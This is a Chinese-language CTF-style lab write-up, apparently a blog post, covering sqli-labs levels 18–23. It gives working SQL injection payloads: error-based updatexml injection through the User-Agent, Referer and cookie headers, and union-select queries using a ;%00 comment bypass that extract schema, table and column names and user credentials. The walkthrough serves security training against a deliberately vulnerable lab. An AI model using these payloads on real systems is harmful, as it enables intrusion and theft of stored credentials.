sqli-labs(18-23关)

less-18(User-Agent注入)

登录失败显示ip地址
登录成功显示ip地址和User-Agent
在username和password处尝试注入均被转义,无法注入
测试的关键利用注入语句为

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

因为uagents的数据是会写入数据库再输出的,这是我们得以成功注入的关键
分析后得知,抓包修改请求包的User Agent(关键是闭合前后的语句)

' or updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1) and '1'='1

' or updatexml(1,concat(0x7e,(database()),0x7e),1), '','')#

成功报错
在这里插入图片描述

less-19(referer注入)

登录成功显示的是Referer信息
登录失败是没有回显信息的
与18关相似,区别在于与数据库交互的地方在referer这里
在这里插入图片描述

less-20(cookie注入)

查看源码发现
在登录之后后台会将username放入cookie中,再次登录的时候,只要是cookie没有过期,就会去cookie里面取值,然后进行查询
使用Cookie Editor(一个火狐插件)
在cookie处注入

' union select 1 ,2,database()#

正常登录界面如下:
在这里插入图片描述

修改cookie后刷新界面
在这里插入图片描述

less-21(cookie注入)

同less-20
区别在于less-21的cookie是base64加密过的,其他同上一题
在这里插入图片描述

less-22

同上,这关与前面不同的是用的是双引号闭合

less-23(00截断)

阅读源代码发现,这里参数id输入的 # 和 – 都会被替换为空值
针对sqllabs可以使用 ;%00 做注释来绕过
查询语句部分可以用常规的union select联合查询
也可以用updatexml报错注入来做

?id=1     返回正常
?id=1'     返回异常,说明可能存在漏洞
?id=1' --+      或者
?id=1' #         均返回错误,通过源代码分析,我们得知--+    #  都被替换为了空格,这里使用      ;%00充当注释符
?id=1'  order by 3  ;%00     查多少列
?id=-1'  union select 1,2,3    ;%00       查找回显位置
?id=-1'  union select 1,2, group_concat(schema_name) from    information_schema.schemata    ;%00             查库名
?id=-1'  union select 1,2, group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479    ;%00             查表名
?id=-1'  union select 1,2, group_concat(column_name) from information_schema.columns where table_name = 0x7573657273   ;%00             查字段名
?id=-1'  union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users   ;%00             查出字段中所有的值

拓展:
在执行sql语句的时候,如果order by 语句写在or/and语句前面,优先执行的是or/and语句,order by 语句会被直接忽略不执行,更不会报错
但是order by 语句在or/and语句后面的时候,order by 语句会被正常执行
但是如果我们想通过order by语句来查询字段数的时候,应该如何去利用呢?
首先想到的是
?id=1’ or ‘1’=‘1’ order by 10
但是后台的查询语句中会构造成
SELECT * FROM users WHERE id=‘1’ or ‘1’=‘1’ order by 10’ LIMIT 0,1
多一个引号,从而产生报错
那么
?id=1’ or ‘1’='1 order by 10
会回显出正常的数据而不会报错
在这里插入图片描述

这里我们明知道只有三个字段,但是却回显了正常的的数据而没有报错,说明在sql查询语句中order by 10还是被忽略了
所以这里不能使用order by 语句查询,只能使用union select

?id=1111'  union select 1,2,3,4 and '1'='1  
?id=1111'  union select 1,2,3,4 or '1'='1  

因为这里的and 或 or作为了联合查询第二个语句的条件而不是第一个语句where的条件,
即:and/or 与前面的union select的优先级是一样的,所以两个语句都会被执行

?id=1111'  union select 1,(select group_concat(schema_name) from information_schema.schemata),3 or '1'='1                     #后面接常规的sql报错注入流程

当然直接使用updatexml报错注入也行

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) or '1'='1           #爆数据库
?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1),0x7e),1) or '1'='1    #查询所有的数据库,使用limit进行逐个查询

这里如果不想用limit一个一个查也可以直接用group_concat拼接一次查完,但是不推荐,有可能数据会显示不完全导致数据丢失(示范如下)

?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1) or '1'='1

总结:
order by不得行就联合查询,联合查询还是不得行就updatexml报错注入

参考:
SqliLab_Mysql_Injection详解:

https://blog.csdn.net/qq_41260930/article/details/102838945

MySQL架构总览->查询执行流程->SQL解析顺序:

https://www.cnblogs.com/annsshadow/p/5037667.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值